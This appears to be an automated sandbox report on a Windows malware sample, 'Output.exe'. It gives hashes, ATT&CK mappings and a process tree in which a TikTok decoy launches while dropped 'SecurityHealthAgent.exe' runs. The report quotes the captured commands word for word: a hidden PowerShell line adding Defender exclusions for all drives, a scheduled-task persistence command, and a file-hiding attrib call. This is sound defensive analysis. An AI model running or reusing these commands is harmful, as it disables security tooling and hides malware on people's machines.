aafc3a65e6a87696d175216009f96daa7feaf23c286066c69150c6f277c5632f

Analysis

user interaction
yes
max time kernel
21s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 03:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Output.exe
Size 669KB
Sample260730-eet8gacn4w
SHA256 aafc3a65e6a87696d175216009f96daa7feaf23c286066c69150c6f277c5632f
MD5 5bcad334577667b13c5a8cde1d8bbe8e
SHA1 ab82823aedfe4d3366b9882e9184fbf849433518
SHA512 6361616a34e6b0232669c72b70f6a680496b669c32203b5de49cb6f6134e56998b450d34647d7a523565d310ebe93c1e9488f9c9e50196afecd1482c62966f05
SSDEEP 12288:UKfNPZXSH7cwqZrsdIl6e5UmG97F9vtf2LJUjhun+8es88e:5febHqZrOe5Um+r99r
TLSH
T169E4EF82A43759F4DFB641B37E79D4D71ADF9291EA002736F74D2D39CE806A85E032A0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5064	powershell.exe
5064	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4992	MasonClient.bat
2860	SecurityHealthAgent.exe
3252	SecurityHealthAgent.exe
2036	SecurityHealthAgent.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
5448	cmd.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5448	cmd.exe

Checks system information in the registry 2 TTPs 8 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	SecurityHealthAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MasonClient.bat
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MasonClient.bat
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	SecurityHealthAgent.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1988	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5448	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5428	cmd.exe
1216	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5744	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4064	schtasks.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4992	MasonClient.bat
4992	MasonClient.bat
4992	MasonClient.bat
4992	MasonClient.bat
2860	SecurityHealthAgent.exe
2860	SecurityHealthAgent.exe
2860	SecurityHealthAgent.exe
2860	SecurityHealthAgent.exe
3252	SecurityHealthAgent.exe
3252	SecurityHealthAgent.exe
3252	SecurityHealthAgent.exe
3252	SecurityHealthAgent.exe
5064	powershell.exe
5064	powershell.exe
5064	powershell.exe
2036	SecurityHealthAgent.exe
2036	SecurityHealthAgent.exe
2036	SecurityHealthAgent.exe
2036	SecurityHealthAgent.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
1880	msedge.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeIncreaseQuotaPrivilege	5064	powershell.exe
Token: SeSecurityPrivilege	5064	powershell.exe
Token: SeTakeOwnershipPrivilege	5064	powershell.exe
Token: SeLoadDriverPrivilege	5064	powershell.exe
Token: SeSystemProfilePrivilege	5064	powershell.exe
Token: SeSystemtimePrivilege	5064	powershell.exe
Token: SeProfSingleProcessPrivilege	5064	powershell.exe
Token: SeIncBasePriorityPrivilege	5064	powershell.exe
Token: SeCreatePagefilePrivilege	5064	powershell.exe
Token: SeBackupPrivilege	5064	powershell.exe
Token: SeRestorePrivilege	5064	powershell.exe
Token: SeShutdownPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeSystemEnvironmentPrivilege	5064	powershell.exe
Token: SeRemoteShutdownPrivilege	5064	powershell.exe
Token: SeUndockPrivilege	5064	powershell.exe
Token: SeManageVolumePrivilege	5064	powershell.exe
Token: 33	5064	powershell.exe
Token: 34	5064	powershell.exe
Token: 35	5064	powershell.exe
Token: 36	5064	powershell.exe
Token: SeIncreaseQuotaPrivilege	5064	powershell.exe
Token: SeSecurityPrivilege	5064	powershell.exe
Token: SeTakeOwnershipPrivilege	5064	powershell.exe
Token: SeLoadDriverPrivilege	5064	powershell.exe
Token: SeSystemProfilePrivilege	5064	powershell.exe
Token: SeSystemtimePrivilege	5064	powershell.exe
Token: SeProfSingleProcessPrivilege	5064	powershell.exe
Token: SeIncBasePriorityPrivilege	5064	powershell.exe
Token: SeCreatePagefilePrivilege	5064	powershell.exe
Token: SeBackupPrivilege	5064	powershell.exe
Token: SeRestorePrivilege	5064	powershell.exe
Token: SeShutdownPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeSystemEnvironmentPrivilege	5064	powershell.exe
Token: SeRemoteShutdownPrivilege	5064	powershell.exe
Token: SeUndockPrivilege	5064	powershell.exe
Token: SeManageVolumePrivilege	5064	powershell.exe
Token: 33	5064	powershell.exe
Token: 34	5064	powershell.exe
Token: 35	5064	powershell.exe
Token: 36	5064	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2992	2556	Output.exe	89
PID 2992 wrote to memory of 1880	2992	msedge_proxy.exe	90
PID 1880 wrote to memory of 5456	1880	msedge.exe	91
PID 2556 wrote to memory of 4992	2556	Output.exe	92
PID 1880 wrote to memory of 2296	1880	msedge.exe	93
PID 1880 wrote to memory of 5744	1880	msedge.exe	95
PID 1880 wrote to memory of 2296	1880	msedge.exe	93
PID 1880 wrote to memory of 2296	1880	msedge.exe	93
PID 1880 wrote to memory of 4808	1880	msedge.exe	96
PID 1880 wrote to memory of 4808	1880	msedge.exe	96
PID 1880 wrote to memory of 4496	1880	msedge.exe	97
PID 1880 wrote to memory of 4496	1880	msedge.exe	97
PID 1880 wrote to memory of 4496	1880	msedge.exe	97
PID 4992 wrote to memory of 2860	4992	MasonClient.bat	98
PID 2860 wrote to memory of 3252	2860	SecurityHealthAgent.exe	99
PID 2860 wrote to memory of 5428	2860	SecurityHealthAgent.exe	100
PID 5428 wrote to memory of 3452	5428	cmd.exe	102
PID 2860 wrote to memory of 5448	2860	SecurityHealthAgent.exe	104
PID 5448 wrote to memory of 2092	5448	cmd.exe	106
PID 5448 wrote to memory of 5064	5448	cmd.exe	107
PID 2860 wrote to memory of 1216	2860	SecurityHealthAgent.exe	109
PID 1216 wrote to memory of 4704	1216	cmd.exe	111
PID 1216 wrote to memory of 4064	1216	cmd.exe	112
PID 2860 wrote to memory of 1988	2860	SecurityHealthAgent.exe	113
PID 1988 wrote to memory of 5828	1988	cmd.exe	115
PID 1988 wrote to memory of 1284	1988	cmd.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1284	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Output.exe
"C:\Users\Admin\AppData\Local\Temp\Output.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe" --profile-directory=Default --app-id=nlalbmkafgmoifbeooblidblkmlhhpnc --app-url=https://www.tiktok.com/foryou --app-launch-source=4
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --source-shortcut="C:\Users\Admin\AppData\Local\Temp\TikTok.lnk" --profile-directory=Default --app-id=nlalbmkafgmoifbeooblidblkmlhhpnc --app-url=https://www.tiktok.com/foryou --app-launch-source=4
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x290,0x7ffd097fc188,0x7ffd097fc194,0x7ffd097fc1a0
      4⤵
      PID:5456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1648,i,3658222823389091112,13643387404850382796,262144 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
      4⤵
      PID:2296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,2552863560604308868,2150812023201018348,524288 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:11
      4⤵
      System Time Discovery
      PID:5744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2480,i,135638055857364995,9364484854725093175,524288 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:13
      4⤵
      PID:4808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3176,i,15995183452717374226,17335567430164067507,2097152 --field-trial-handle=2292,i,6378292876071534174,15146735285174792552,262144 --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:9
      4⤵
      PID:4496
- C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
  "C:\Users\Admin\AppData\Local\Temp\MasonClient.bat"
  2⤵
  - Executes dropped EXE
  - Checks system information in the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe
    "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe" --r
    3⤵
    - Executes dropped EXE
    - Checks system information in the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2860
  - - C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe
      "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe" --wd 2860
      4⤵
      Executes dropped EXE
      Checks system information in the registry
      Suspicious behavior: EnumeratesProcesses
      PID:3252
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && ƒ „!ö˜÷30ª³@‘B¸ïë¬€…¹)œë@dlaâú£dÑN/Ú“•[”–Mé¡æa£ýá?,`ŽÊ¡Fˆ¡ròÓ`„ª÷øbŠQ¹‘Â×nê
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5428
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3452
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
      Hide Artifacts: Hidden Window
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of WriteProcessMemory
      PID:5448
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2092
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5064
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "SecurityHealthAgent" /tr "\"C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe\"" /ru ""
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1216
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4704
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /tn "SecurityHealthAgent" /tr "\"C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe\"" /ru ""
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4064
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe"
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:1988
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:5828
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SecurityHealthAgent.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1284

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4560

C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe
"C:\Users\Admin\AppData\Roaming\SecurityHealthAgent.exe"
1⤵
- Executes dropped EXE
- Checks system information in the registry
- Suspicious behavior: EnumeratesProcesses
PID:2036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5e34bc4625bf22507150f49d8c28444bda8222ea36c2a7d431bbdaae5c134a9d
MD5 e1ae04b3e73ad5ac4854b3b71e22d4d3
SHA1 221461b4f2d9e84e2f881b5a79edfef3705178db
SHA512 58529610d3f5dd7778bff3b81dd8abd9d79702eff78583d0294f3999089de0bbf84f0abad703269c0988835522b1d8d48e9f3c65472a409c5868fc3547c3fb1b
TLSH
T138D02B206A54494CCDC0B03464A3EA18E2004135140013C44001F07988901830B970CB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7f7f7efafb9f87082470af84df3b906033b9d533fb7a188458a4e181362f2170
MD5 8af1f60999c332d8cf9a392cd968a81c
SHA1 93834a1f070ff24041a0deb17d95d868998c98ba
SHA512 95d5c6b0fed3c3dce459178eafa2e9fa13b06caf50a5b294d66ecf16bf91357eccebec57e01d50e054232862c252fc80f7300e865318ec24078f9288a88c63d4
TLSH
T17BD02B206A444A4CCDC0B03064A2EA18E2104135680013C44001B06988901830B970DF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 61B
SHA256 e1b77550222c2451772c958e44026abe518a2c8766862f331765788ddd196377
MD5 4df4574bfbb7e0b0bc56c2c9b12b6c47
SHA1 81efcbd3e3da8221444a21f45305af6fa4b71907
SHA512 78b14f60f2d80400fe50360cf303a961685396b7697775d078825a29b717081442d357c2039ad0984d4b622976b0314ede8f478cde320daec118da546cb0682a
TLSH
T139A00254944498FF4655836A05654463C7AA504780285E565B24115E42A25AD0450947
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 7a0f84913ef4542bf0dad65fb1ef98ef668cea3e608bafe47e1762b8b6278da6
MD5 4df6e397f9863c5ff6794e31cdd4e0f2
SHA1 e1ab863913bed9fa0a4e8b1fc835f04e7e31aceb
SHA512 ca9e29195f8d1b151379d99900ea9e614668956df73326451a0e164407270dca72e596941c71af524ee20cf0c527b0d6532102d60348b6090794f787489e341b
SSDEEP 192:sxRbr5NseHm2Sm7a23zoy8pi/g6+WNIY3XaKWqmIgB2J:sxRblNse25i/5IaaKEA
TLSH
T18F32C8166E28A93B5CCBD21DFA65BF53D6F95032A1D06E48F6FC8B0C04D66DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 69168dd2394f55ff21fe06df5082ed6c6822e96521053abb9804e03428c5969d
MD5 83d3c649c861dcc48e63555f562cc1dd
SHA1 dec02080735ad37a8e6cf3aebebf2435661df99b
SHA512 e7af7d16f63dba0d0c6b355158428c0610cde731a4c2d6cc0277f30bbb8757bcbd87d12b5d48e51759740cf774958670443f4121ee2ea329ba967a8183df67d0
SSDEEP 768:GTEbNo7pLuL7lkWg0CfKs8F1+UoAYDCx9Tuqh0VfUC9xbog/OVKMWM5ro/KiQn:GTEbNUE7lkWg0CfKsu1jaDFMy/9S
TLSH
T180C2FA7B740DCF7E4F804ADDA81ABB9B6D6802CB9698CD4047FE941C02C6BFE51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 de9011cbf8c6ae1fe5473abfc23781bf4ba4fda29ebd6d95451c707648edc16b
MD5 680835ed384223dfd73a8f3cc985b6e3
SHA1 27a486d8441785ae80ce7612d55b849f888e81ca
SHA512 630efa58a0e78a0271307dcb82f00c740f1cace7ebf0995bf55c5b0b3d67bc886b07994d5d8e630da1c12f8e2439ebce508d20acad2f2121f8d0895e9ddafc49
SSDEEP 768:trv+4UNbd43Fuc+wfZOufIfe66KvShCQskB2bwW2:tbsbO3GwfZfIfl6KvS5B0w5
TLSH
T12803D032E96855339EE38288B6067A137EB58263C5C95784D9CD1F0D02D76AE330BC67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 b32f771f3c8fc1f46c80feb4fdc853df7c1d2920d74d7eca3acacee33cc88599
MD5 a9b4f5c547752cc8fdb30f2a3dce53de
SHA1 7ea95eb865a4e567b1f448aef6dd4e118c3ce758
SHA512 1942ba1c1863a1f7c3aa70247673d5e6c698380948ec87c33b6e92aaa7075d43aebdacf2a8e2e8ee7fe8e0b3a3446b9e8d44afe4f08b647a220fb4da8fc06bff
SSDEEP 768:Rrv+4UNbd43dVkc+wfZOufnvShCQtgw2bwWV:RbsbO3dMwfZfnvSX0wO
TLSH
T16103CF32E868A9339DF782487646BB637EB86173C8C54784D6CD4B0D019369E370BC67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MasonClient.bat

Path C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
Size 657KB
SHA256 df100e1666f9fca4da628af3328fd969ddf5426a6c69a39b84997f66b8e1a7ea
MD5 33234217cf1629b3c41f3582f8420039
SHA1 c07e7ad9158d6ec2f0fb19cb6671955ca1d53fc5
SHA512 33c3e86ea03bd67e4039e5578765a7196a5db81b0dc944416df64e7bb895f68eda861863f2d69c567257b07fbe9474386403a6678887669e48ea1df7e180e460
SSDEEP 12288:qIhYPEYNHe1fyA0IZM0bPK8O3Fx9LGoB2oj:qIOPEYOKA0mjbPK8O3FbXBN
TLSH
T1C6E4294BF653A1BCD52BC1718BAB6633B932B85C4135B97F4A14C77A7E91E000638F26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TikTok.lnk

Path C:\Users\Admin\AppData\Local\Temp\TikTok.lnk
Size 2KB
SHA256 62cc7353d081a9c191b3c370683f59dfd945b92d8b06cac47a5b3314081f4f22
MD5 bdab27a506aec376760a00c6e65fc198
SHA1 da0eb52fd6d8d6b48de300fbb3a20a19ddbd0303
SHA512 3b433f0c60c124a98f56bd879d60a2d372b15b719310982bc300595cfd4909405b32914618ff372cf1d5619fd85fbca6fa12c90358d70da1c87a1e6948aaef87
TLSH
T1C251ED91BAFA1A16F3F799727EF27A606D7BB805A914CE0D0150414C0D27E86CA28F67
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2036-139-0x00007FF7EE220000-0x00007FF7EE2E1000-memory.dmp

Download

memory/2556-5-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

Download

memory/2556-0-0x00007FFD0D2DF000-0x00007FFD0D2E0000-memory.dmp

Download

memory/2556-26-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

Download

memory/2556-3-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

Download

memory/2556-1-0x0000000000FA0000-0x000000000104E000-memory.dmp

Download

memory/2556-15-0x00007FFD0D150000-0x00007FFD0DAF4000-memory.dmp

Download

memory/2860-140-0x00007FF6A2880000-0x00007FF6A2941000-memory.dmp

Download

memory/3252-141-0x00007FF6A2880000-0x00007FF6A2941000-memory.dmp

Download

memory/4992-128-0x00007FF6CCA80000-0x00007FF6CCB41000-memory.dmp

Download

memory/5064-131-0x00000235937F0000-0x0000023593812000-memory.dmp

Download

memory/5064-134-0x00000235939A0000-0x00000235939BE000-memory.dmp

Download

memory/5064-135-0x00000235ABD00000-0x00000235ABDB2000-memory.dmp

Download

memory/5064-136-0x00000235939C0000-0x00000235939CA000-memory.dmp

Download